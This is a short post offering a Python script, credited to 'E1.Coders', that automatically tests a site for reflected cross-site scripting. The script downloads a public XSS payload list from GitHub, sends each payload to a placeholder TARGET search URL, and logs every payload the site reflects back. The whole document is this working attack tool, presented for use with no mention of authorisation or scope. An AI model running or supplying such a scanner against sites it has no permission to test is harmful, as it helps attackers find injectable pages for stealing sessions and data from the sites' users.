automatically test cross-site scripting (XSS) attacks in 2024

[ROOT]

With this code, you can automatically test cross-site scripting (XSS) attacks in 2024.

#CODE BY E1.Coders
import requests

# URL and payload list
url = "https://TARGET/search?term="
payload_url = "https://raw.githubusercontent.com/payloadbox/xss-payload-list/master/Intruder/xss-payload-list.txt"

# Fetch the payloads
response = requests.get(payload_url)
payloads = response.text.splitlines()

# File to save the results
result_file = "result.tex"

# Function to test XSS payloads
def test_xss_payloads(url, payloads):
    with open(result_file, "w") as file:
        for payload in payloads:
            test_url = url + payload
            response = requests.get(test_url)
            if payload in response.text:
                file.write(f"Payload: {payload}\nURL: {test_url}\n\n")

# Run the test
test_xss_payloads(url, payloads)